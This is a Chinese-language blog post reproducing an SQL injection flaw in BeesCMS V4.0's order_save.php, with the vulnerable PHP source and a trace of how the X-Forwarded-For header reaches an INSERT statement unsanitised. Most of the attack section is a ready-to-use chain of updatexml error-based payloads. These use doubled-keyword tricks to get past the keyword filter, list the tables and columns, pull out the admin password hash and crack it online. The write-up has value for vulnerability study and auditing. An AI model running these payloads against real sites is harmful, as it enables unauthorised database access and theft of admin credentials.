写在前面

  • 什么是报错注入?正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。

复现过程

CNVD看到如下详情:

本地搭建一套找下漏洞触发点。

搜索源码目录,符合or***_sa***.php的文件只有一个:order_save.php

先贴下代码:

<?php

define('CMS',true);
require_once('../includes/init.php');
$lang = $_REQUEST['lang'];
$fields=$_POST['fields'];
//表单验证码
$feed_code=$_POST['feed_code'];
if(empty($feed_code)){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");}
if($feed_code!=$_SESSION['code']){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");} if(empty($fields)||empty($form_id)){die($language['order_msg1']);} if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
if(file_exists(DATA_PATH.'cache_form/form.php')){include(DATA_PATH.'cache_form/form.php');}
if(!empty($form)){
foreach($form as $k=>$v){
if($v['id']==$form_id&&!$v['is_disable']){
$form=$v;
}
}
} if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');}
$fd=array();
if(!empty($field)){
foreach($field as $k=>$v){
if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){
$fd[]=$v['field_name'];
}
}
}
$sql_field='';
$sql_value='';
if(!empty($fields)){
foreach($fields as $key=>$value){
if(!is_array($value)){
if(!in_array($key,$fd)){die($language['order_msg1']);}
}
$sql_field.=','.$key;
if(is_array($value)){
foreach($value as $k=>$v){
$value_str.=$v.',';
}
$value=$value_str;
}
$sql_value.=",'".fl_html($value)."'";
}
}else{
die($language['order_msg2']);
}
$table=$form['form_mark'];
$tables=$mysql->show_tables();
if(!in_array(DB_PRE.$table,$tables)){
die($language['order_msg3']);
}
$addtime=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";
echo $sql."\n\n";
$mysql->query($sql);
$last_id=$mysql->insert_id();
$sql_field='id'.$sql_field;
$sql_value=$last_id.$sql_value;
$sql="insert into ".DB_PRE."{$table} ({$sql_field}) values ({$sql_value})";
$mysql->query($sql); //发送邮件
if(!empty($_sys['mail_feed'])){
if(in_array('1',$_sys['mail_feed'])){
$table=$form['form_mark'];
if(!empty($table)){
$rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."{$table} where id={$last_id}");
$rel_arr=$rel[0]; if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');} $hmtl='<table cellpadding="0" cellspacing="0" width="100%">';
$hmtl.='<thead>';
$hmtl.='<tr><th style="width:20%">参数说明</th><th style="width:80%">参数值</th></tr>';
$hmtl.='</thead>';
$hmtl.='<tbody>';
unset($rel_arr['id']);
if(!empty($rel_arr)){
foreach($rel_arr as $key=>$value){
$f_name="<span style=\"clear:red\">不存在该说明</span>";
if(!empty($field)){
foreach($field as $k=>$v){
if($v['field_name']==$key){
$f_name=$v['use_name'];
}
}
}
$hmtl.='<tr>';
$hmtl.='<td style="width:20%; text-align:center">'.$f_name.'</td><td style="width:80%">'.$value.'</td>';
$hmtl.='</tr>';
}
}
$hmtl.='</tbody>';
$hmtl.='</table>';
$hmtl.='<div>--------------------------------------------------------------------------------------------------------</div>';
$hmtl.=$_sys['mail_jw']; }
$_sys['mail_js'] = empty($_sys['mail_js'])?$_sys['mail_mail']:$_sys['mail_js'];
if($hmtl){
beescms_smtp_mail($_sys['mail_js'],'','产品订单',$hmtl);
}
}
}
echo "<script type=\"text/javascript\">alert('".$language['order_msg4']."');history.go(-1);</script>";
?>

进入代码,先定位到SQL语句,order_save.php第57行:

$addtime=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')"; //SQL语句
echo $sql."\n\n"; //这里把SQL语句输出方便调试

这里传递了5个参数,我们先找到对应功能,抓包看下几个参数可控。先看下哪里调用order_save.php

前台对应功能‘产品订购’,抓包看下:

所以我们可控的参数有:$form_id$ip$arc_id,我们逐一看下。

  1. $form_id,在缓存文件cache_category28_cn.php第28行,初始值为5:
    <?php
$category=array (
0 =>
array (
'id' => '29',
'custom_url' => '',
'cate_name' => '测试下级',
'cate_mb_is' => '0',
'cate_hide' => '0',
'cate_channel' => '-9',
'cate_fold_name' => '',
'cate_order' => '10',
'cate_rank' => '0',
'cate_tpl' => '0',
'cate_tpl_index' => NULL,
'cate_tpl_list' => 'list_mx_form.html',
'cate_tpl_content' => 'mx_form_content.html',
'cate_title_seo' => '',
'cate_key_seo' => '',
'cate_info_seo' => '',
'lang' => 'cn',
'cate_parent' => '28',
'cate_html' => '1',
'cate_nav' => '',
'is_content' => '0',
'cate_url' => 'http://',
'cate_is_open' => '0',
'form_id' => '5',
'cate_pic1' => '',
'cate_pic2' => '',
'cate_pic3' => '',
'cate_content' => '',
'temp_id' => '0',
'list_num' => '20',
'nav_show' => '0',
),
);?>

跟进order_save.php第25行:

$fd=array();
if(!empty($field)){
foreach($field as $k=>$v){
if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){
$fd[]=$v['field_name']; //$form_id插入注入语句时,$fd为空
}
}
}
$sql_field='';
$sql_value='';
if(!empty($fields)){
foreach($fields as $key=>$value){
if(!is_array($value)){
if(!in_array($key,$fd)){die($language['order_msg1']);} //$fd为空,退出执行,代码终止
}
$sql_field.=','.$key;
if(is_array($value)){
foreach($value as $k=>$v){
$value_str.=$v.',';
}
$value=$value_str;
}
$sql_value.=",'".fl_html($value)."'";
}
}else{
die($language['order_msg2']);
}

‘产品订购’表单中,form_id的初始值为5,当$form_id不等于5时,$fd为空,导致代码无法继续执行,故$form_id参数无法注入。

  1. $arc_id,order _save.php第61行:
    $arc_id=empty($f_id)?0:intval($_POST['f_id']);

$arc_id$_POST['f_id']的整数值,故无法注入。

  1. $iporder_save.php第58行:
    $ip=fl_value(get_ip());
$ip=fl_html($ip);

追下get_ip函数,./includes/fun.php第1032行:

function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
return $_SERVER['REMOTE_ADDR'];
}
}

函数先取HTTP_CLIENT_IP,如果没有就取HTTP_X_FORWARDED_FOR,还没有就取REMOTE_ADDR,典型的XFF伪造。

再跟进下fl_valuefl_html两个函数,./includes/fun.php第1755行:

function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}

对SQL注入和xss进行过滤,其中注入过滤了selectwherefrom/**=等关键字,我们将语句输出,利用burp尝试绕过,先查下当前用户:

'or updatexml(1,concat(0x7e,(user()),0x7e),1) or'

没问题,查下当前表:

'or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),0x7e),1) or'

可以看到语句中selectfromwhere=被过滤了,这里select我们可以用双写嵌套绕过:selselectectfromwhere同理,但值得注意的是,这里正则匹配的是关键字和前后的空格,所以我们的绕过方法应该是: fr from omwhe where re,最后=号用like替代,修改后的语句变成:

'or updatexml(1,concat(0x7e,(selselectect concat(table_name) fr from om information_schema.tables whe where re table_schema like database() limit 0,1),0x7e),1) or'

修改limit后面的数字可以遍历所有的表,查管理员表字段:

'or updatexml(1,concat(0x7e,(selselectect concat(column_name) fr from om information_schema.columns whe where re table_name like 'bees_admin' limit 2,1),0x7e),1) or'

查管理员密码:

'or updatexml(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e),1) or'

这里显示位数不够,我们分两次查询:

'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),1,16),0x7e),1) or'

'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),17,32),0x7e),1) or'

最后利用在线md5解密网站解下密码:

Beescms V4.0_R_20160525代码审计笔记的更多相关文章

  1. SeacmsV10.7版代码审计笔记

    data: 2020.11.9 10:00AM description: seacms代码审计笔记 0X01前言 seacms(海洋cms)在10.1版本后台存在多处漏洞,事实上当前最新版V10.7这 ...

  2. ANTLR v4 权威参考笔记(目录)

    ANTLR v4是一款强大的语法分析器生成器,可以用来读取.处理.执行和转换结构化文本或二进制文件.通过称为文法的形式化语言描述,ANTLR可以为该语言自动生成词法分析器.生成的语法分析器可以自动构建 ...

  3. PHP代码审计笔记--弱类型存在的安全问题

    0x01 前言 PHP 是一门弱类型语言,不必向 PHP 声明该变量的数据类型,PHP 会根据变量的值,自动把变量转换为正确的数据类型. 弱类型比较,是一个比较蛋疼的问题,如左侧为字符串,右侧为一个整 ...

  4. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  5. React Router V4.0学习笔记

    最近在学习React Router,但是网站的教程多半还是3.X版本之前的,所以我只能在GitHub上找到React Router的官方文档在读.后来总结了一下,包括学习经验以及V3.X与V4.X的差 ...

  6. Seafile V4.1 安装笔记

    yum -y install gcc gcc-c++ make cmake pcre pcre-devel expat expat-devel curl wget mlocate gd gd-deve ...

  7. PHP代码审计笔记--代码执行漏洞

    漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞. 常见代码注射函数: 如:eval.preg_replace+/e.assert.call_user_func. ...

  8. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  9. PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...

随机推荐

  1. Spring Cloud中,如何解决Feign/Ribbon第一次请求失败的问题?

    Spring Cloud中,如何解决Feign/Ribbon第一次请求失败的问题? Spring Cloud中,Feign和Ribbon在整合了Hystrix后,可能会出现首次调用失败的问题,要如何解 ...

  2. error more than one devices and emulator

    问题秒速 莫名的多了一个设备,然后再输入adb shell 解决方法: 1.如果确实有多种设备,要指定设备号 adb -s 设备号 shell(设备号在这里是 emulator-5554,其他同理) ...

  3. OSI与TCP/IP各层的结构与功能,都有哪些协议?

    学习计算机⽹络时我们⼀般采⽤折中的办法,也就是中和 OSI 和 TCP/IP 的优点,采⽤⼀种只有 五层协议的体系结构,这样既简洁⼜能将概念阐述清楚. 结合互联⽹的情况,⾃上⽽下地,⾮常简要的介绍⼀下 ...

  4. 循序渐进BootstrapVue,开发公司门户网站(6)--- 门户网站后端内容管理

    我们在做门户网站的时候,如果网站的内容可以动态从后端进行管理,那么调整网站内容就非常方便,有时候如一些公司新闻.产品信息.轮播广告信息等都需要动态调整的,有一个方便的后端内容管理是非常方便的.本篇随笔 ...

  5. Entity Framework Core中的数据迁移命令

    使用程序包管理控制台输入命令. 数据迁移命令: Add-Migration  对比当前数据库和模型的差异,生成相应的代码,使数据库和模型匹配的. Remove-Migration 删除上次的迁移 Sc ...

  6. DHCP部署与安全

    1.DHCP作用 (Dynamic Host Configure Protocol)自动分配ip地址 2.DHCP相关概念 地址池/作用域:(IP.子网掩码.网关.DNS.租期),DHCP协议端口是U ...

  7. CF1214E Petya and Construction Set题解

    原来这就叫构造题,了 这道题的做法,我自己诌了一个形象的名字--"挂葡萄"法( 首先,"搭葡萄架":考虑到每个距离 \(d_i\) 只与 \(2i-1,2i\) ...

  8. webpack 安装使用简例

    1. 新建项目文件夹,如 webpack-demo 2. cd 到安装项目根目录,即进入webpack-demo文件夹,命令行工具输入"npm install webpack webpack ...

  9. [考试总结]noip模拟11

    菜 这次考试又是骗了一堆分数... 然而其实一个正解都没写... \(T1\) 的方法说实话确实不是很正统.... 然而却 \(A\) 了... 在打完 \(T1\) 后拍了老长时间... 然后就耽搁 ...

  10. Python脚本:爬取天气数据并发邮件给心爱的Ta

    第一部分:爬取天气数据 # 在函数调用 get_weather(url = 'https://www.tianqi.com/foshan') 的 url中更改城市,foshan为佛山市 1 impor ...